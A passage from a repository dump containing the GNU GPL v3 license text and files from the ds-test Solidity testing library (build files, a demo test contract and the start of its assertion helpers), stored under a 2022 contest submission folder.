Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
